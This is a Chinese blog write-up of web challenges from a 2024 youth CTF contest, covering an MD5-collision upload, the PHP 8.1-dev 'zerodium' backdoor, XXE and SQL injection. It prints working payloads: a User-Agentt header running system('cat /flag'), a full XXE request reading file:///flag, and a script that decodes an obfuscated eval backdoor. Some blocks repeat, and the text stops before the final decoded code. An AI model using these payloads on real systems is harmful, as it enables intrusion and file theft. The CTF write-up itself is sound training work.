前言
![图片[1],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301140245791.png?imageView2/0/format/webp/q/75)
->Web方向
EasyMD5
![图片[2],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301123622126.png?imageView2/0/format/webp/q/75)
![图片[3],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130135490.png?imageView2/0/format/webp/q/75)
burp抓包
随意上传提示pdf后缀 我这里直接把type都改成pdf类型
![图片[4],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130201159.png?imageView2/0/format/webp/q/75)
给了我们是否知道MD5 Collision
MD5 Collision可以是文件内容不同但MD5的值相同 判断出我们需要上传两个MD5值相同的文件
![图片[5],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130517886.png?imageView2/0/format/webp/q/75)
此时md5的值相同
![图片[6],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130451862.png?imageView2/0/format/webp/q/75)
PHP的后门
![图片[7],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130640573.png?imageView2/0/format/webp/q/75)
![图片[8],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130647590.png?imageView2/0/format/webp/q/75)
![图片[9],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130732975.png?imageView2/0/format/webp/q/75)
PHP 8.x的dev NSSround18的原题 但比NSSround18简单的多,一步就出来
![图片[10],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301130658315.png?imageView2/0/format/webp/q/75)
POC
User-Agentt: zerodiumsystem("cat /flag");User-Agentt: zerodiumsystem("cat /flag");User-Agentt: zerodiumsystem("cat /flag");
PHP中的XXE
![图片[11],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301131026661.png?imageView2/0/format/webp/q/75)
打开
![图片[12],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301131035583.png?imageView2/0/format/webp/q/75)
这道题主要是通过引入外部DTD执行漏洞攻击
引入外部DTD执行代码 唯一的考点是找到入口 造成DTD的函数是simplexml_load_string用来接收xml所以我们需要访问该php路径来找到入口
POC
GET /simplexml_load_string.php HTTP/1.1Host: challenge.qsnctf.com:31417User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 170<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><root><name>&xxe;</name></root>GET /simplexml_load_string.php HTTP/1.1 Host: challenge.qsnctf.com:31417 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 170 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" > ]> <root> <name>&xxe;</name> </root>GET /simplexml_load_string.php HTTP/1.1 Host: challenge.qsnctf.com:31417 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 170 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" > ]> <root> <name>&xxe;</name> </root>
![图片[13],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301131643252.png?imageView2/0/format/webp/q/75)
Easy_SQLI
![图片[14],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301132036859.png?imageView2/0/format/webp/q/75)
![图片[15],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301132150512.png?imageView2/0/format/webp/q/75)
使用sqlmap判断出时间盲注 ,sqlmap执行os-shell拿flag(类似青少年的靶场的一个sql注入原题
![图片[16],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240301132237578.png?imageView2/0/format/webp/q/75)
雏形系统
![图片[17],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034021116.png?imageView2/0/format/webp/q/75)
进去页面是一个登录框,那御剑扫一下目录发下www.zip备份文件,下载下来,源码如下
![图片[18],青少年CTF擂台挑战赛 2024 #Round 1 Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/03/20240302034044313.png?imageView2/0/format/webp/q/75)
根据题目描述,这应该是留下来的一个后门代码,只不过进行了加密,我们要先接出来,加密原理大概就是字符串的分割,然后动态调用的嵌套,我们只需按照他的加密原理一步一步的接,不过把eval改成echo输出出来源代码
网上搜索($O00OO0{6}.$O00OO0{33}.$O00OO0{30}.后门此处省略)的类似加密信息(可以搜索到解密过程
解密脚本如下:
<?php$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37jecho '第一步生成:',$O00OO0;echo '<br /><br />********************************************************<br /><br />';$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};echo '第二步生成:',$O00O0O;echo '<br /><br />********************************************************<br /><br />';//上面解出来 $O00O0O=base64_decode;//即然 $O00O0O=base64_decode那么把下面的代码改一下,eval是用来执行php代码,这里不需要执行,只需要解出php代码即可,那么去掉eavl 并把$O00O0O换成上面解出来的值//eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));//修改后变成echo '第三步生成:';echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));echo '<br /><br />********************************************************<br /><br />';//上页那步输出来代码为:/*$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));*///同样,不需要eval,改成echo$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";echo '最终代码是:(这是我用htmlspecialchars函数把标签转换了)'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));?><?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j echo '第一步生成:',$O00OO0; echo '<br /><br />********************************************************<br /><br />'; $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36} .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; echo '第二步生成:',$O00O0O; echo '<br /><br />********************************************************<br /><br />'; //上面解出来 $O00O0O=base64_decode; //即然 $O00O0O=base64_decode那么把下面的代码改一下,eval是用来执行php代码,这里不需要执行,只需要解出php代码即可,那么去掉eavl 并把$O00O0O换成上面解出来的值 //eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); //修改后变成 echo '第三步生成:'; echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); echo '<br /><br />********************************************************<br /><br />'; //上页那步输出来代码为: /* $O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q"; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); */ //同样,不需要eval,改成echo $O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q"; echo '最终代码是:(这是我用htmlspecialchars函数把标签转换了)'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?><?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j echo '第一步生成:',$O00OO0; echo '<br /><br />********************************************************<br /><br />'; $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0} .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36} .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; echo '第二步生成:',$O00O0O; echo '<br /><br />********************************************************<br /><br />'; //上面解出来 $O00O0O=base64_decode; //即然 $O00O0O=base64_decode那么把下面的代码改一下,eval是用来执行php代码,这里不需要执行,只需要解出php代码即可,那么去掉eavl 并把$O00O0O换成上面解出来的值 //eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); //修改后变成 echo '第三步生成:'; echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); echo '<br /><br />********************************************************<br /><br />'; //上页那步输出来代码为: /* $O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q"; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); */ //同样,不需要eval,改成echo $O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q"; echo '最终代码是:(这是我用htmlspecialchars函数把标签转换了)'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?>
最后解密后拿到的就是
